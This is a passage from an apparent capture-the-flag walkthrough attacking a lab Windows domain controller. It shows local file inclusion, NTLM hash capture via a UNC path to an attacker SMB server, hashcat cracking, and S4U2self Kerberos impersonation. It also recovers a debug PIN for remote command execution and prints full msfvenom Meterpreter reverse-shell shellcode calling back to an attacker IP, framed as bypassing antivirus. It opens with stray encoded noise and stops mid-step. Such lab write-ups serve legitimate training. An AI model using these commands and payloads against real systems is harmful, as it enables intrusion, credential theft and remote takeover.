azFvu4AJvgkDv2hZxgwwWoAPdE4xZLFIZjAGRdqUwwlgq9RG20N3VKxoJSvsCteZhT39S24hqCQGdmhs+z2BOZmDcd1cm2oc4un+l0XJjetPT0DEpZQ6MNP35dSvW6BLRVLNKdmOyRIl1zfDQABgu0GqURk6bFYSFxCpOT8MJX4/72UbvpA7iUVq55f2ludI
> User-Agent: curl/8.11.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=utf-8
< Server: Microsoft-IIS/10.0
< WWW-Authenticate: Negotiate oYG3MIG0oAMKAQChCwYJKoZIhvcSAQICooGfBIGcYIGZBgkqhkiG9xIBAgICAG+BiTCBhqADAgEFoQMCAQ+iejB4oAMCARKicQRvNhIKcix1FwXdB7T2Hc+OZgyxUu4x2u5xGirLgSd1RqPypmdH+8UY4Em56DjFBfwZD+ipkPlnJZAF06idc464A6cmYK/rN1/Jee7TZYkT8UUp1UT6sb9YLJrq6gETHICNCRbooqqG5Mu1W4TdrBH1
* Negotiate: noauthpersist -> 0, header part: true
< Persistent-Auth: true
< X-Powered-By: ASP.NET
< Date: Thu, 30 Jan 2025 08:21:34 GMT
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title> - LuShare</title>
<link rel="stylesheet" href="/lib/bootstrap/dist/css/bootstrap.min.css" />
<link rel="stylesheet" href="/css/site.css?v=pAGv4ietcJNk_EwsQZ5BN9-K4MuNYS2a9wl4Jw-q9D0" />
<link rel="stylesheet" href="/LuShare.styles.css?v=hKE8kIfrqKHdCpCgDPhNfbPhKrnJYC275iQvRV7rimM" />
</head>
<body>
<header b-d5yzov7vxd>
<nav b-d5yzov7vxd class="navbar navbar-expand-sm navbar-toggleable-sm navbar-light bg-white border-bottom box-shadow mb-3">
<div b-d5yzov7vxd class="container-fluid">
<a class="navbar-brand" href="/">LuShare</a>
<button b-d5yzov7vxd class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target=".navbar-collapse" aria-controls="navbarSupportedContent"
aria-expanded="false" aria-label="Toggle navigation">
<span b-d5yzov7vxd class="navbar-toggler-icon"></span>
</button>
<div b-d5yzov7vxd class="navbar-collapse collapse d-sm-inline-flex justify-content-between">
<ul b-d5yzov7vxd class="navbar-nav flex-grow-1">
<li b-d5yzov7vxd class="nav-item">
<a class="nav-link text-dark" href="/">List</a>
</li>
</ul>
<p b-d5yzov7vxd class="nav navbar-text">Well met, LUSTROUS2\Thomas.Myers!</p>
</div>
</div>
</nav>
</header>
<div b-d5yzov7vxd class="container">
<main b-d5yzov7vxd role="main" class="pb-3">
<h2>Available Files</h2>
<table class="table">
<thead>
<tr>
<th>File Name</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>audit.txt</td>
<td>
<a href="/File/Download?fileName=audit.txt" class="btn btn-primary">Download</a>
</td>
</tr>
</tbody>
</table>
</main>
</div>
<footer b-d5yzov7vxd class="border-top footer text-muted">
<div b-d5yzov7vxd class="container">
© 2024 - LuShare</a>
</div>
</footer>
<script src="/lib/jquery/dist/jquery.min.js"></script>
<script src="/lib/bootstrap/dist/js/bootstrap.bundle.min.js"></script>
<script src="/js/site.js?v=hRQyftXiu1lLX2P9Ly9xa4gHJgLeR1uGN5qegUobtGo"></script>
</body>
</html>
* Connection #0 to host lus2dc.lustrous2.vl left intact
Found
/File/Download?fileName=audit.txt
We can download the file directly via Firefox or via cURL:
$ curl --negotiate -u : -O http://lus2dc.lustrous2.vl/File/Download?fileName=audit.txt
$ cat audit_draft.txt
Audit Report Issue Tracking
[Fixed] NTLM Authentication Allowed
[Fixed] Signing & Channel Binding Not Enabled
[Fixed] Kerberoastable Accounts
[Fixed] SeImpersonate Enabled
[Open] Weak User Passwords
Same file we saw previously during our FTP enumeration
LFI
Let’s check for local file inclusion (LFI):
Try with /File/Download?fileName=C:/Windows/System32/drivers/etc/hosts (via cURL):
$ curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Download?fileName=C:/Windows/System32/drivers/etc/hosts
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost
Try with /File/Download?fileName=..\..\..\..\windows\win.ini (via Firefox):
LFI confirmed
NTHash Stealing (ShareSvc)
Since this is a windows machine, we can try to provide a UNC Path and see if the requests hits our own machine.
Start an impacket smb server:
$ impacket-smbserver share share -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
Or start a Responder:
$ sudo Responder -I tun0
Request the UNC path:
$ curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?fileName=\\10.8.4.253\share\notexist.txt' -v
Then capture the hash:
[*] Incoming connection (10.10.99.159,50789)
[*] AUTHENTICATE_MESSAGE (LUSTROUS2\ShareSvc,LUS2DC)
[*] User LUS2DC\ShareSvc authenticated successfully
[*] ShareSvc::LUSTROUS2:aaaaaaaaaaaaaaaa:ce5171ee2aa9db87fbf49222690dce71:010100000000000000ef1140f672db0193b384875cabaef9000000000100100046004c004400760063006400750046000300100046004c004400760063006400750046000200100044005700660048006900620051006f000400100044005700660048006900620051006f000700080000ef1140f672db0106000400020000000800300030000000000000000000000000210000b483f02e1ff1de27c5799a554118b7e8f66ce7544368161f8a32f1b583177a1e0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e0038002e0034002e003200350033000000000000000000
[*] Closing down connection (10.10.99.159,50789)
Try to crack it with Hashcat:
$ hashcat -a 0 -m 5600 ShareSvc.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
...
SHARESVC::LUSTROUS2:aaaaaaaaaaaaaaaa:ce5171ee2aa9db87fbf49222690dce71:010100000000000000ef1140f672db0193b384875cabaef9000000000100100046004c004400760063006400750046000300100046004c004400760063006400750046000200100044005700660048006900620051006f000400100044005700660048006900620051006f000700080000ef1140f672db0106000400020000000800300030000000000000000000000000210000b483f02e1ff1de27c5799a554118b7e8f66ce7544368161f8a32f1b583177a1e0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e0038002e0034002e003200350033000000000000000000:#1Service
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: SHARESVC::LUSTROUS2:aaaaaaaaaaaaaaaa:ce5171ee2aa9db...000000
...
Found
ShareSvc:#1Service
S4U2SELF abuse for impersonating (Sharon.Birch)
We saw before that Ryan Davies and Sharon Birch are in ShareAdmins group.
So let’s target Shaon (gallantry obliges, ladies first) and attempt to impersonate her against the web application as we have service account ShareSvc’s password.
Before that we check if ShareAdmins group is in Protected Users group or not:
$ cat _groups.json | jq | grep -I -C10 'Protected Users'
],
"distinguishedName": "CN=ShareAdmins,OU=lustrous,DC=Lustrous2,DC=vl",
"dn": "CN=ShareAdmins,OU=lustrous,DC=Lustrous2,DC=vl",
"groupType": -2147483646,
"instanceType": 4,
"member": [
"CN=Sharon Birch,OU=lustrous,DC=Lustrous2,DC=vl",
"CN=Ryan Davies,OU=lustrous,DC=Lustrous2,DC=vl"
],
"memberOf": [
"CN=Protected Users,CN=Users,DC=Lustrous2,DC=vl"
],
"name": "ShareAdmins",
"objectCategory": "CN=Group,CN=Schema,CN=Configuration,DC=Lustrous2,DC=vl",
"objectClass": [
"top",
"group"
],
"objectGUID": "{bb1a80e7-e1e3-4ee4-9fb1-47c1179f34a0}",
"objectSid": "S-1-5-21-380911855-3882613531-2069040882-1174",
"sAMAccountName": "ShareAdmins",
--
Confirmed it’s a member of the
Protected UsersGroup, which means that those users can’t easily be impersonated when using techniques likeSilver TicketsorDelegation.
One technique that allows to bypass this restriction is s4u2self.
Using the s4u2self kerberos extension, allows the service user to request a service ticket to itself on behalf of an abitrary principal.
In order to perform the attack, we get a TGT for the service user and then impersonate Sharon Birch:
$ impacket-getTGT lustrous2.vl/ShareSvc:'#1Service' -dc-ip lus2dc.lustrous2.vl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in ShareSvc.ccache
$ export KRB5CCNAME=ShareSvc.ccache
$ klist
Ticket cache: FILE:ShareSvc.ccache
Default principal: ShareSvc@LUSTROUS2.VL
Valid starting Expires Service principal
01/30/2025 19:56:21 01/31/2025 05:56:21 krbtgt/LUSTROUS2.VL@LUSTROUS2.VL
renew until 01/31/2025 19:56:22
$ impacket-getST -self -impersonate "Sharon.Birch" -k -no-pass lustrous2.vl/ShareSvc -altservice HTTP/lus2dc.lustrous2.vl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating Sharon.Birch
[*] Requesting S4U2self
[*] Changing service from ShareSvc@LUSTROUS2.VL to HTTP/lus2dc.lustrous2.vl@LUSTROUS2.VL
[*] Saving ticket in Sharon.Birch@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache
$ export KRB5CCNAME=Sharon.Birch@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache
$ klist
Ticket cache: FILE:Sharon.Birch@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache
Default principal: Sharon.Birch@lustrous2.vl
Valid starting Expires Service principal
01/30/2025 20:04:18 01/31/2025 05:56:21 HTTP/lus2dc.lustrous2.vl@LUSTROUS2.VL
renew until 01/31/2025 19:56:22
Using Firefox, we can see that we are logged as Sharon.Birch, as an application admin and have a new upload option.
Quick check also via cURL:
$ curl --negotiate -u : http://lus2dc.lustrous2.vl -v
* Host lus2dc.lustrous2.vl:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.99.159
* Trying 10.10.99.159:80...
* Connected to lus2dc.lustrous2.vl (10.10.99.159) port 80
* using HTTP/1.x
* Server auth using Negotiate with user ''
> GET / HTTP/1.1
> Host: lus2dc.lustrous2.vl
> Authorization: Negotiate YIIGbAYGKwYBBQUCoIIGYDCCBlygDTALBgkqhkiG9xIBAgKiggZJBIIGRWCCBkEGCSqGSIb3EgECAgEAboIGMDCCBiygAwIBBaEDAgEOogcDBQAgAAAAo4IFPGGCBTgwggU0oAMCAQWhDhsMTFVTVFJPVVMyLlZMoiYwJKADAgEAoR0wGxsESFRUUBsTbHVzMmRjLmx1c3Ryb3VzMi52bKOCBPMwggTvoAMCARKhAwIBA6KCBOEEggTdUrx0nrDJNQ9MR7AhFcW+mRgpBanMgl1UZfESelPCAx6PXxidjDghrub20ENU7OATOcLYsAt5nV1P3SG/xDXqIulBglvSvpER0ewA/8h/fn7tISUsy9kgMHq58r4m13QMahfZ8sneI7JnGBzDhFeyhDiqUJxif9W/5ZVH2yxlJFjjZWmQ2IOADfhpTS3IgMphCEvJeFDxuYeAxw7ZGD4kXMRUOgUvgVbD+rJfMtLCDE+TsnnC0Lrtn/L/63u2VmakzRU/pXPWA9eYH1zV/TXM1Y8pXmm0mIlYe4sczKzQTFeXjSLs4z3kABWad8DKHlFL/3FRscucFEiEoltkWp54BoQ52L8KJOfZjMCyuojowM2dg+gugELD3V1XV60cRU/IL9RSwQ1tAhV7bmD1nU2MxX/1CUesKxaEe5M8doMFY3c0dFHXO6bj3/nnVw9s5UA9j4BUVGLbyglEN5ukQfZ7mc0lkaY/IMIdYOr2oQfAn5KSRApkJhqqRLCkDzbQKKWg5xuBNaG8UEPgzMcIh847FQzgzruf210uOl6fB2J+3Y4c4QsgkRKW244qqbJyNDXiXKtsyoddR8vP7jtzPaj4omcYsJAMhJfzAL9Fn1pUpyWfqzGIxnNfhlkvPqQFmM7PH8KmhbvNFDmX7w7Z/RIbZ3XeXW7ciNpRsOcbW5RQmeBCIx5SYBDw3MV0D/VJJd+AMyefEYmPnyKtljcuUtyWt3KUaQiLlmuai/d+KdICYqc5O3oo6usqH/3lVytftdPgfYtArweKij4B0V7ZXYvKOjWOTbKA8a22vMbEBZyfmBF1MViHP9th/lo7G6dogKXWp/EZPjB2LH65+a3/LdNG14d6fifu9k0/7op8E6HwnP/6mgqGKXxb1c56IPa9tSA6EYAKBazhRvUqD9mO7Orwpmll9wfPWOIBfrn3NSaROx3wfi01GX38QRfy0vUTXEK8p/UfTZJj9vfED61tyMPoiMdTqtJ3O8Y3qbTrcSIejgg/wsRjsMo0kmWKVRbmEXGL1ZqkvWAK3TKdnD1CSuisWH1JFji2IoRUPylGNb0lAOE9Nmhni7HxSDK6hDbZOhlnw/o/9SnkKbkHnuLeHuo5btcfM29NwNhL4/fRK7kjYnq9a+6/8igTo2dpZhPUVcQvvM1XndmOmojJyj1AICjfYoKamjDoGdo4oH60KnOBIvJITVO3/+fCwuIR7+rCDBV8X/zhtDLn7jcM2kB6J3xaLhRwERqSP9GZYTWpQErLO4wIqP++/c4WwORIxYVLGF5jg+keyFZKfmPQowD9/w6bDJddqmoutXUzGAjpQJmU4oOX3nvd8/RpP2jgTcMcfkdWX0XoYlk/3dYUyBt8qMKHsrE+s23nU9txay7sBDf2LJ4I2Qd9XvNHaG7wehfByfcZm4vOgTpl64nXms8GEwcWFy1QdI8s95g3lE47eIDO6T+NVVtvIUl3jrh1qfLZz3+pCyihK+lFUv7SZxBh9vkQZ5q+tY6gMgoUQSI474olHQv8VYcBUDBs5G9q6saQ9Xdm9qJBra1VZy87T5RvLxfJuDvCmXbRbRZ+1SjZTcTi40hIIPTZfQeLR+Z0lubqsunTuSjdlLtPOMIDzbRRoUN+vRvaDcqxmGM2WSr4SNm+swGPMkMu68GlngpEofLzpIHWMIHToAMCARKigcsEgcgUX5MQICqXdgDLMdY+Md1AcrTjkLLgbXe28qIjNyT0hM9fLBjOQftUGLhNKE/eQJm3pocsjpmx2/k/oNiXyKLZvAGdKMU/z9HPpiWGjhs706xCTHvOMcMG+HONfcw5G74Ngl1sd40zu+syqqnCsIh6aKv+j3PLWHPKAwOrFBvPyPtj881KU+OYgY3qizyNxkpBTRzA5mnC8BZ3+boGMhM/FBUHr7NjO2cgLNEaFSSxJwOZop2r+p2aJbM/jNzkQSJ5top7mcA50w==
> User-Agent: curl/8.11.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=utf-8
< Server: Microsoft-IIS/10.0
< WWW-Authenticate: Negotiate oYG3MIG0oAMKAQChCwYJKoZIhvcSAQICooGfBIGcYIGZBgkqhkiG9xIBAgICAG+BiTCBhqADAgEFoQMCAQ+iejB4oAMCARKicQRvMp/YAsAW0M0EHWMlWVeKzS1/SBm1PCwCdJZ5s41ZK+6W1lugdMQkl7VFxYt2ZXeNBeufh6AF+HSDKIp1aga+3CeRQUhW13nFZl1xhf11RQqt1R3YwkUCFfm79pyj3WB2lsI3J6p5dKnBSm2yb0lV
* Negotiate: noauthpersist -> 0, header part: true
< Persistent-Auth: true
< X-Powered-By: ASP.NET
< Date: Thu, 30 Jan 2025 11:05:25 GMT
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title> - LuShare</title>
<link rel="stylesheet" href="/lib/bootstrap/dist/css/bootstrap.min.css" />
<link rel="stylesheet" href="/css/site.css?v=pAGv4ietcJNk_EwsQZ5BN9-K4MuNYS2a9wl4Jw-q9D0" />
<link rel="stylesheet" href="/LuShare.styles.css?v=hKE8kIfrqKHdCpCgDPhNfbPhKrnJYC275iQvRV7rimM" />
</head>
<body>
<header b-d5yzov7vxd>
<nav b-d5yzov7vxd class="navbar navbar-expand-sm navbar-toggleable-sm navbar-light bg-white border-bottom box-shadow mb-3">
<div b-d5yzov7vxd class="container-fluid">
<a class="navbar-brand" href="/">LuShare</a>
<button b-d5yzov7vxd class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target=".navbar-collapse" aria-controls="navbarSupportedContent"
aria-expanded="false" aria-label="Toggle navigation">
<span b-d5yzov7vxd class="navbar-toggler-icon"></span>
</button>
<div b-d5yzov7vxd class="navbar-collapse collapse d-sm-inline-flex justify-content-between">
<ul b-d5yzov7vxd class="navbar-nav flex-grow-1">
<li b-d5yzov7vxd class="nav-item">
<a class="nav-link text-dark" href="/">List</a>
</li>
<li b-d5yzov7vxd class="nav-item">
<a b-d5yzov7vxd class="nav-link" href="/File/Upload">Upload</a>
</li>
<!--
<li class="nav-item">
<a class="nav-link" href="/File/Debug">Debug</a>
</li>
-->
</ul>
<p b-d5yzov7vxd class="nav navbar-text">Well met, LUSTROUS2\Sharon.Birch!</p>
</div>
</div>
</nav>
</header>
<div b-d5yzov7vxd class="container">
<main b-d5yzov7vxd role="main" class="pb-3">
<h2>Available Files</h2>
<table class="table">
<thead>
<tr>
<th>File Name</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>audit.txt</td>
<td>
<a href="/File/Download?fileName=audit.txt" class="btn btn-primary">Download</a>
</td>
</tr>
</tbody>
</table>
</main>
</div>
<footer b-d5yzov7vxd class="border-top footer text-muted">
<div b-d5yzov7vxd class="container">
© 2024 - LuShare</a>
</div>
</footer>
<script src="/lib/jquery/dist/jquery.min.js"></script>
<script src="/lib/bootstrap/dist/js/bootstrap.bundle.min.js"></script>
<script src="/js/site.js?v=hRQyftXiu1lLX2P9Ly9xa4gHJgLeR1uGN5qegUobtGo"></script>
</body>
</html>
* Connection #0 to host lus2dc.lustrous2.vl left intact
Found a hidden endpoint
<a class="nav-link" href="/File/Debug">Debug</a>
Confirmed we can access via Firefox:
RCE via debug functionality
Try to put basic command like whoami and we always receive:
A PIN code is required to run any command
As it’s a web app, then often sensitive information like credentials, codes … are stored in web.config.
We found a LFI previsouly then we use it to grab web.config:
$ curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?fileName=../../web.config' -o web.config
$ cat web.config
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<location path="." inheritInChildApplications="false">
<system.webServer>
<handlers>
<add name="aspNetCore" path="*" verb="*" modules="AspNetCoreModuleV2" resourceType="Unspecified" />
</handlers>
<aspNetCore processPath="dotnet" arguments=".\LuShare.dll" stdoutLogEnabled="false" stdoutLogFile=".\logs\stdout" hostingModel="inprocess" />
</system.webServer>
</location>
</configuration>
<!--ProjectGuid: 4E46018E-B73C-4E7B-8DA2-87855F22435A-->
- No pin code
- Found that it’s a .NET core application running from
LuShare.dll
Use again the LFI to grab LuShare.dll:
$ curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?fileName=../../LuShare.dll' -o LuShare.dll
$ file LuShare.dll
LuShare.dll: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
LuShare.dll Reverse engineering
We use CodemerxDecompile to disassemble LuShare.dll as this software runs on Linux and not required to switch to Windows.
$ mkdir CodemerxDecompile && tar -xzpf ./CodemerxDecompile-linux-x64.tar.gz -C CodemerxDecompile
$ ./CodemerxDecompile/CodemerxDecompile
Here we can see the value of required the pin code ba45c518 and also that the commands are actually powershell commands in a custom runspace that is length restricted (less than 100 characters) and using constrained language mode.
Let’s confirm we can run commands by using cURL:
$ curl --path-as-is -i -s -k --negotiate -u : http://lus2dc.lustrous2.vl/File/Debug --data-binary $'pin=ba45c518&command=whoami' -X POST
HTTP/1.1 200 OK
Content-Length: 20
Content-Type: text/plain
Server: Microsoft-IIS/10.0
WWW-Authenticate: Negotiate oYG3MIG0oAMKAQChCwYJKoZIhvcSAQICooGfBIGcYIGZBgkqhkiG9xIBAgICAG+BiTCBhqADAgEFoQMCAQ+iejB4oAMCARKicQRvhVYM3FxMa+0PzjLba27f/3lYL1rzNDYr37W2ERx3pjEudaYdZxJrGg2WJSM2TE04+RvH7viLsLrjg9nIyTj1i1I3TNT/a2DNF1VAYFqWA2Nv3S62gNy8GVmiuNGTq3beT943UdXM8WsMA0zKU7RL
Persistent-Auth: true
X-Powered-By: ASP.NET
Date: Thu, 30 Jan 2025 12:30:10 GMT
lustrous2\sharesvc
Confirmed that works so we have a RCE
Defender AV + AMSI Bypassing (Lustrous2_User)
with Powershell + MSF shellcode
Start a local web server:
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Start a Meterpreter listener:
$ msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_https; set LHOST tun0; set LPORT 443; set ExitOnSession false; exploit -j"
Warning: KRB5CCNAME environment variable not supported - unsetting
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/x64/meterpreter/reverse_https
LHOST => tun0
LPORT => 443
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) >
Create a MSF shellcode:
$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.8.4.253 LPORT=443 -f ps1 -v SHELLCODE
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 808 bytes
Final size of ps1 file: 3966 bytes
[Byte[]] $SHELLCODE = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x51,0x56,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0xd,0xac,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x41,0x58,0x48,0x1,0xd0,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0xe8,0x54,0x0,0x0,0x0,0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f,0x35,0x2e,0x30,0x20,0x28,0x4d,0x61,0x63,0x69,0x6e,0x74,0x6f,0x73,0x68,0x3b,0x20,0x49,0x6e,0x74,0x65,0x6c,0x20,0x4d,0x61,0x63,0x20,0x4f,0x53,0x20,0x58,0x20,0x31,0x34,0x2e,0x37,0x3b,0x20,0x72,0x76,0x3a,0x31,0x33,0x33,0x2e,0x30,0x29,0x20,0x47,0x65,0x63,0x6b,0x6f,0x2f,0x32,0x30,0x31,0x30,0x30,0x31,0x30,0x31,0x20,0x46,0x69,0x72,0x65,0x66,0x6f,0x78,0x2f,0x31,0x33,0x33,0x2e,0x30,0x0,0x59,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xb,0x0,0x0,0x0,0x31,0x30,0x2e,0x38,0x2e,0x34,0x2e,0x32,0x35,0x33,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x1,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xab,0x0,0x0,0x0,0x2f,0x46,0x42,0x7a,0x41,0x34,0x63,0x38,0x32,0x56,0x37,0x59,0x32,0x52,0x7a,0x64,0x46,0x55,0x64,0x66,0x39,0x31,0x41,0x64,0x61,0x37,0x54,0x34,0x67,0x58,0x44,0x6d,0x45,0x6f,0x31,0x4a,0x6a,0x59,0x49,0x71,0x57,0x65,0x68,0x52,0x77,0x6b,0x78,0x6c,0x45,0x39,0x69,0x55,0x32,0x38,0x32,0x71,0x36,0x6f,0x42,0x6e,0x68,0x5f,0x63,0x78,0x56,0x33,0x4f,0x71,0x33,0x2d,0x76,0x63,0x48,0x59,0x76,0x73,0x6a,0x51,0x64,0x4d,0x6c,0x54,0x6d,0x41,0x6d,0x6a,0x68,0x70,0x34,0x4c,0x57,0x37,0x2d,0x35,0x73,0x58,0x2d,0x42,0x53,0x34,0x5a,0x4f,0x65,0x64,0x68,0x68,0x5f,0x49,0x46,0x79,0x56,0x32,0x35,0x49,0x56,0x32,0x48,0x53,0x72,0x59,0x42,0x35,0x33,0x63,0x4f,0x74,0x37,0x5f,0x54,0x46,0x4d,0x48,0x51,0x39,0x63,0x6c,0x6e,0x32,0x56,0x68,0x71,0x5a,0x37,0x67,0x72,0x63,0x73,0x7a,0x37,0x4f,0x48,0x48,0x6d,0x45,0x69,0x66,0x33,0x4b,0x69,0x57,0x65,0x7a,0x70,0x78,0x51,0x66,0x78,0x39,0x74,0x52,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x32,0xa8,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
Include it to our custom PoSH reverse shell:
